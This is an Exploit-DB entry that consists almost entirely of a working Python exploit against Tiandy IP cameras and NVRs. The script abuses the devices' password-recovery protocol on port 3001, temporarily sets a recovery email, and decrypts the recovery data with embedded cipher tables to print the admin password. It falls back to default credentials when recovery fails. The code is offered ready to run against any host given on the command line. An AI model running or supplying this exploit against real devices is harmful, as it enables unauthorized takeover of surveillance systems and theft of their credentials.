Tiandy IPC and NVR 9.12.7 – Credential Disclosure

  • 作者: zb3
    日期: 2020-09-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48799/
  • # Exploit Title: Tiandy IPC and NVR 9.12.7 - Credential Disclosure
    # Date: 2020-09-10
    # Exploit Author: zb3
    # Vendor Homepage: http://en.tiandy.com
    # Product Link: http://en.tiandy.com/index.php?s=/home/product/index/category/products.html
    # Software Link: http://en.tiandy.com/index.php?s=/home/article/lists/category/188.html
    # Version: DVRS_V9.12.7, DVRS_V11.7.4, NVSS_V13.6.1, NVSS_V22.1.0
    # Tested on: Linux
    # CVE: N/A
    
    
    # Requires Python 3 and PyCrypto
    
    # For more details and information on how to escalate this further, see:
    # https://github.com/zb3/tiandy-research
    
    
    import sys
    import hashlib
    import base64
    import socket
    import struct
    
    from Crypto.Cipher import DES
    
    
    def main():
    if len(sys.argv) != 2:
    print('python3 %s [host]' % sys.argv[0], file=sys.stderr)
    exit(1)
    
    host = sys.argv[1]
    
    conn = Channel(host)
    conn.connect()
    
    crypt_key = conn.get_crypt_key(65536)
    
    attempts = 2
    tried_to_set_mail = False
    ok = False
    
    while attempts > 0:
    attempts -= 1
    
    code = get_psw_code(conn)
    
    if code == False:
    # psw not supported
    break
    
    elif code == None:
    if not tried_to_set_mail:
    print("No PSW data found, we'll try to set it...", file=sys.stderr)
    
    tried_to_set_mail = True
    if try_set_mail(conn, 'a@a.a'):
    code = get_psw_code(conn)
    
    if code == None:
    print("couldn't set mail", file=sys.stderr)
    break
    
    rcode, password = recover_with_code(conn, code, crypt_key)
    
    if rcode == 5:
    print('The device is locked, try again later.', file=sys.stderr)
    break
    
    if rcode == 0:
    print('Admin', password)
    ok = True
    break
    
    if tried_to_set_mail:
    try_set_mail(conn, '')
    
    if not code:
    print("PSW is not supported, trying default credentials...", file=sys.stderr)
    
    credentials = recover_with_default(conn, crypt_key)
    
    if credentials:
    user, pw = credentials
    print(user, pw)
    
    ok = True
    
    if not ok:
    print('Recovery failed', file=sys.stderr)
    exit(1)
    
    
    def try_set_mail(conn, target):
    conn.send_msg(['PROXY', 'USER', 'RESERVEPHONE', '2', '1', target, 'FILETRANSPORT'])
    resp = conn.recv_msg()
    
    return resp[4:7] == ['RESERVEPHONE', '2', '1']
    
    def get_psw_code(conn):
    conn.send_msg(['IP', 'USER', 'LOGON', base64.b64encode(b'Admin').decode(), base64.b64encode(b'Admin').decode(), '', '65536', 'UTF-8', '0', '1'])
    resp = conn.recv_msg()
    
    if resp[4] != 'FINDPSW':
    return False
    
    psw_reg = psw_data = None
    
    if len(resp) > 7:
    psw_reg = resp[6]
    psw_data = resp[7]
    
    if not psw_data:
    return None
    
    psw_type = int(resp[5])
    
    if psw_type not in (1, 2, 3):
    raise Exception('unsupported psw type: '+str(psw_type))
    
    if psw_type == 3:
    psw_data = psw_data.split('"')[3]
    
    if psw_type == 1:
    psw_data = psw_data.split(':')[1]
    psw_key = psw_reg[:0x1f]
    
    elif psw_type in (2, 3):
    psw_key = psw_reg[:4].lower()
    
    psw_code = td_decrypt(psw_data.encode(), psw_key.encode())
    code = hashlib.md5(psw_code).hexdigest()[24:]
    
    return code
    
    
    def recover_with_code(conn, code, crypt_key):
    conn.send_msg(['IP', 'USER', 'SECURITYCODE', code, 'FILETRANSPORT'])
    resp = conn.recv_msg()
    
    rcode = int(resp[6])
    
    if rcode == 0:
    return rcode, decode(resp[8].encode(), crypt_key).decode()
    
    return rcode, None
    
    
    def recover_with_default(conn, crypt_key):
    res = conn.login_with_key(b'Default', b'Default', crypt_key)
    if not res:
    return False
    
    while True:
    msg = conn.recv_msg()
    
    if msg[1:5] == ['IP', 'INNER', 'SUPER', 'GETUSERINFO']:
    return decode(msg[6].encode(), crypt_key).decode(), decode(msg[7].encode(), crypt_key).decode()
    
    
    ###
    ### lib/des.py
    ###
    
    def reverse_bits(data):
    return bytes([(b * 0x0202020202 & 0x010884422010) % 0x3ff for b in data])
    
    def pad(data):
    if len(data) % 8:
    padlen = 8 - (len(data) % 8)
    data = data + b'\x00' * (padlen-1) + bytes([padlen])
    
    return data
    
    def unpad(data):
    padlen = data[-1]
    
    if 0 < padlen <= 8 and data[-padlen:-1] == b'\x00'*(padlen-1):
    data = data[:-padlen]
    
    return data
    
    def encrypt(data, key):
    cipher = DES.new(reverse_bits(key), 1)
    return reverse_bits(cipher.encrypt(reverse_bits(pad(data))))
    
    def decrypt(data, key):
    cipher = DES.new(reverse_bits(key), 1)
    return unpad(reverse_bits(cipher.decrypt(reverse_bits(data))))
    
    def encode(data, key):
    return base64.b64encode(encrypt(data, key))
    
    def decode(data, key):
    return decrypt(base64.b64decode(data), key)
    
    
    ###
    ### lib/binproto.py
    ###
    
    def recvall(s, l):
    buf = b''
    while len(buf) < l:
    nbuf = s.recv(l - len(buf))
    if not nbuf:
    break
    
    buf += nbuf
    
    return buf
    
    class Channel:
    def __init__(self, ip, port=3001):
    self.ip = ip
    self.ip_bytes = socket.inet_aton(ip)[::-1]
    self.port = port
    self.msg_seq = 0
    self.data_seq = 0
    self.msg_queue = []
    
    def fileno(self):
    return self.socket.fileno()
    
    def connect(self):
    self.socket = socket.socket()
    self.socket.connect((self.ip, self.port))
    
    def reconnect(self):
    self.socket.close()
    self.connect()
    
    def send_cmd(self, data):
    self.socket.sendall(b'\xf1\xf5\xea\xf5' + struct.pack('<HH8xI', self.msg_seq, len(data) + 20, len(data)) + data)
    self.msg_seq += 1
    
    def send_data(self, stream_type, data):
    self.socket.sendall(struct.pack('<4sI4sHHI', b'\xf1\xf5\xea\xf9', self.data_seq, self.ip_bytes, 0, len(data) + 20, stream_type) + data)
    self.data_seq += 1
    
    
    def recv(self):
    hdr = recvall(self.socket, 20)
    if hdr[:4] == b'\xf1\xf5\xea\xf9':
    lsize, stream_type = struct.unpack('<14xHI', hdr)
    data = recvall(self.socket, lsize - 20)
    
    if data[:4] != b'NVS\x00':
    print(data[:4], b'NVS\x00')
    raise Exception('invalid data header')
    
    return None, [stream_type, data[8:]]
    
    
    elif hdr[:4] == b'\xf1\xf5\xea\xf5':
    lsize, dsize = struct.unpack('<6xH10xH', hdr)
    
    if lsize != dsize + 20:
    raise Exception('size mismatch')
    
    msgs = []
    
    for msg in recvall(self.socket, dsize).decode().strip().split('\n\n\n'):
    msg = msg.split('\t')
    if '.' not in msg[0]:
    msg = [self.ip] + msg
    
    msgs.append(msg)
    
    return msgs, None
    
    else:
    raise Exception('invalid packet magic: ' + hdr[:4].hex())
    
    def recv_msg(self):
    if len(self.msg_queue):
    ret = self.msg_queue[0]
    self.msg_queue = self.msg_queue[1:]
    
    return ret
    
    msgs, _ = self.recv()
    
    if len(msgs) > 1:
    self.msg_queue.extend(msgs[1:])
    
    return msgs[0]
    
    def send_msg(self, msg):
    self.send_cmd((self.ip+'\t'+'\t'.join(msg)+'\n\n\n').encode())
    
    def get_crypt_key(self, mode=1, uname=b'Admin', pw=b'Admin'):
    self.send_msg(['IP', 'USER', 'LOGON', base64.b64encode(uname).decode(), base64.b64encode(pw).decode(), '', str(mode), 'UTF-8', '805306367', '1'])
    
    resp = self.recv_msg()
    
    if resp[4:6] != ['LOGONFAILED', '3']:
    print(resp)
    raise Exception('unrecognized login response')
    
    crypt_key = base64.b64decode(resp[8])
    return crypt_key
    
    def login_with_key(self, uname, pw, crypt_key):
    self.reconnect()
    
    hashed_uname = base64.b64encode(hashlib.md5(uname.lower()+crypt_key).digest())
    hashed_pw = base64.b64encode(hashlib.md5(pw+crypt_key).digest())
    
    self.send_msg(['IP', 'USER', 'LOGON', hashed_uname.decode(), hashed_pw.decode(), '', '1', 'UTF-8', '1', '1'])
    resp = self.recv_msg()
    
    if resp[4] == 'LOGONFAILED':
    return False
    
    self.msg_queue = [resp] + self.msg_queue
    
    return True
    
    def login(self, uname, pw):
    crypt_key = self.get_crypt_key(1, uname, pw)
    
    if not self.login_with_key(uname, pw, crypt_key):
    return False
    
    return crypt_key
    
    
    
    ###
    ### lib/crypt.py
    ###
    
    pat = b'abcdefghijklmnopqrstuvwxyz0123456789'
    
    def td_asctonum(code):
    if code in b'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
    code += 0x20
    
    if code not in pat:
    return None
    
    return pat.index(code)
    
    
    def td_numtoasc(code):
    if code < 36:
    return pat[code]
    
    return None
    
    gword = [
    b'SjiW8JO7mH65awR3B4kTZeU90N1szIMrF2PC',
    b'04A1EF7rCH3fYl9UngKRcObJD6ve8W5jdTta',
    b'brU5XqY02ZcA3ygE6lf74BIG9LF8PzOHmTaC',
    b'2I1vF5NMYd0L68aQrp7gTwc4RP9kniJyfuCH',
    b'136HjBIPWzXCY9VMQa7JRiT4kKv2FGS5s8Lt',
    b'Hwrhs0Y1Ic3Eq25a6t8Z7TQXVMgdePuxCNzJ',
    b'WAmkt3RCZM829P4g1hanBluw6eVGSf7E05oX',
    b'dMxreKZ35tRQg8E02UNTaoI76wGSvVh9Wmc1',
    b'i20mzKraY74A6qR9QM8H3ecUkBlpJC1nyFSZ',
    b'XCAUP6H37toQWSgsNanf0j21VKu9T4EqyGd5',
    b'dFZPb9B6z1TavMUmXQHk7x402oEhKJD58pyG',
    b'rg8V3snTAX6xjuoCYf519BzWRtcMl2OiZNeI',
    b'dZe620lr8JW4iFhNj3K1x59Una7PXsLGvSmB',
    b'5yaQlGSArNzek6MXZ1BPOE3xV470h9KvgYmb',
    b'f12CVxeQ56YWd7OTXDtlnPqugjJikELayvMs',
    b'9Qoa5XkM6iIrR7u8tNZgSpbdDUWvwH21Kyzh',
    b'AqGWke65Y2ufVgljEhMHJL01D8Zptvcw7CxX',
    b't960P2inR8qEVmAUsDZIpH5wzSXJ43ob1kGW',
    b'4l6SAi2KhveRHVN5JGcmx9jOC3afB7wF0ITq',
    b'tEOp6Xo87QzPbn24J3i9FjWKS1lIBVaMZeHU',
    b'zx27DH915lhs04aMJOgf6Z3pyERrGndiLwIe',
    b'8XxOBzZ02hUWDQfvL471q9RC6sAaJVFuTMdG',
    b'jON0i4C6Z3K97DkbqSypH8lRmx5o2eIwXas1',
    b'OIGT0ubwH1x6hCvEgBn274A5Q8K9e3YyzWlm',
    b'zgejY41CLwRNabovBUP2Aql7FVM8uEDXZQ0c',
    b'Z2MpQE91gdRLYJ8bGIWyOfc4v03Hjzs6VlU5',
    b't6PuvrBXeoHk5FJW08DYQSI49GCwZ27cA1UK',
    b'FiBA53IMW97kYNz82GhHf1yUCdL0nlvRD46s',
    b'2Vz3b06h54jmc7a8AIYtNHM1iQU9wBXWyJkR',
    b'wyI42azocV3UOX6fk579hMH8eEGJsgFuBmqb',
    b'TxmnK4ljJ9iroY8vVtg3Rae2L516fBWUuXAS',
    b'z6Y1bPrJEln0uWeLKkjo9IZ2y7ROcFHqBm54',
    b'x064LFB39TsXeryqvt2pZN8QIERuWAVUmwjJ',
    b'76qg85yB31uH90YbZofsjKrRGiTVndAEtFMx',
    b'WjwTEbCA752kq89shcaLB1xO64rgMYnoFiJQ',
    b'u6307O4J2DeZs8UYyjlzfX91KGmavEdwTRSg'
    ]
    
    def td_decrypt(data, key):
    kdx = 0
    ret = []
    
    for idx, code in enumerate(data):
    while True:
    if kdx >= len(key):
    kdx = 0
    
    kcode = key[kdx]
    knum = td_asctonum(kcode)
    
    if knum is None:
    kdx += 1
    continue
    
    break
    
    if code not in gword[knum]:
    return None
    
    cpos = gword[knum].index(code)
    ret.append(td_numtoasc(cpos))
    
    kdx += 1
    
    return bytes(ret)
    
    
    
    if __name__ == '__main__':
    main()